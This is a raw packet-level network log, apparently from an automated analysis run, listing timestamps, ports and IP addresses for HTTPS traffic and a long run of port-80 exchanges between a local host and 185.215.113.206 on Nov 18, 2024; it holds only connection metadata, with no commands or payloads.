Nov 18, 2024 13:28:50.276978016 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.278206110 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.279896975 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.284724951 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.380832911 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.380856991 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.380918026 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.381210089 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.381268024 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.381278038 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.381304979 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.381748915 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.381803036 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.384916067 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.385644913 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.386358976 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.390508890 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.404073000 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.406363964 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.406475067 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.408700943 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.413640976 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.426119089 CET	49673	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:28:50.512195110 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.512972116 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.513063908 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.513087034 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.515218019 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.515420914 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.520196915 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.533653021 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.536067963 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.536145926 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.657855988 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.657876015 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.657953978 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.801095963 CET	49672	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:28:50.816750050 CET	49677	80	192.168.2.8	192.229.211.108
Nov 18, 2024 13:28:58.816687107 CET	49676	443	192.168.2.8	52.182.143.211
Nov 18, 2024 13:29:00.035451889 CET	49673	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:00.116157055 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:00.121189117 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:00.121284008 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:00.121531963 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:00.126395941 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:00.410484076 CET	49672	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:01.042907953 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.043004036 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.045707941 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.050549030 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.347875118 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.348033905 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.349349976 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.354161024 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.441714048 CET	49677	80	192.168.2.8	192.229.211.108
Nov 18, 2024 13:29:01.636476994 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.636498928 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.636574984 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.637876034 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.643345118 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938672066 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938699961 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938711882 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938738108 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938750982 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938792944 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.938828945 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.938837051 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938851118 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:01.938877106 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.938914061 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.940903902 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:01.945792913 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.205507040 CET	443	49704	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:02.205619097 CET	49704	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:02.227113962 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.227193117 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:02.245511055 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:02.245577097 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:02.250638008 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.250650883 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.250768900 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.250778913 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.250791073 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:02.251058102 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:03.044954062 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:03.045011044 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:03.733678102 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:03.738684893 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018399000 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018425941 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018436909 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018443108 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018455029 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018543959 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018556118 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.018558025 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.018619061 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.019272089 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.019340038 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.019356966 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.019396067 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.019458055 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.019495010 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.019527912 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.019540071 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.019566059 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.019587040 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.019614935 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.019651890 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181088924 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181104898 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181118965 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181210995 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181225061 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181241035 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181263924 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181298018 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181310892 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181323051 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181346893 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181358099 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181366920 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181370974 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181385040 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181394100 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181399107 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.181431055 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.181442976 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297223091 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297249079 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297261000 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297283888 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297327042 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297400951 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297416925 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297456980 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297621012 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297684908 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297720909 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297734022 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297771931 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297800064 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297806025 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297816038 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.297849894 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.297866106 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.298477888 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.298533916 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.338634968 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.338695049 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.338779926 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.338808060 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.415652037 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.415682077 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.415697098 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.415723085 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.415735006 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.415761948 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.415802002 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.415949106 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416002989 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.416018009 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416030884 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416045904 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416059971 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.416088104 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.416552067 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416599989 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416603088 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.416613102 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416642904 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.416666985 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.416681051 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.416733027 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.457346916 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.457386971 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.457499981 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.457544088 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.537939072 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.537985086 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538043022 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538078070 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538084030 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538115025 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538182020 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538243055 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538244009 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538244009 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538244009 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538271904 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538292885 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538360119 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538397074 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538408995 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538456917 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538531065 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538568020 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538594007 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538604975 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.538618088 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.538652897 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.576165915 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.576204062 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.576241016 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.576405048 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.576405048 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666033983 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666073084 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666110992 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666145086 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666168928 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666182995 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666212082 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666219950 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666223049 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666248083 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666265011 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666266918 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666306019 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666321993 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666358948 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666367054 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666402102 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666462898 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666496038 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666506052 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666532993 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.666532993 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.666604042 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.694792986 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.694864035 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.694899082 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.694969893 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.694969893 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.694969893 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.771958113 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772006989 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772078991 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772084951 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772116899 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772133112 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772135019 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772172928 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772176981 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772211075 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772213936 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772250891 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772252083 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772290945 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772293091 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772329092 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.772809029 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772845984 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772881985 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772917986 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.772984982 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.777558088 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.777594090 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.777637005 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.777652025 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.777678967 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.777683020 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.777698994 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.777724028 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.813538074 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.813575983 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.813612938 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.813613892 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.813643932 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.813677073 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.890808105 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.890857935 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.890885115 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.890918016 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.890918016 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.890959024 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.890959024 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.890996933 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891012907 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891041994 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891041994 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891081095 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891083956 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891120911 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891273975 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891335964 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891344070 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891376972 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891452074 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891503096 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891511917 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891549110 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891558886 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891585112 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.891592026 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.891633987 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.896346092 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.896399975 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.896409988 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.896440983 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.932682991 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.932739973 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.932771921 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.932780027 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.932811022 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.932820082 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:04.932832956 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:04.932861090 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009490967 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009560108 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009569883 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009612083 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009619951 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009645939 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009650946 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009689093 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009690046 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009725094 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009730101 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009761095 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009761095 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009795904 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009828091 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009836912 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.009849072 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.009890079 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.010344982 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.010392904 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.010406017 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.010437965 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.010448933 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.010473013 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.051440001 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.051510096 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.051520109 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.051563025 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.051569939 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.051619053 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.051624060 CET	80	49706	185.215.113.206	192.168.2.8
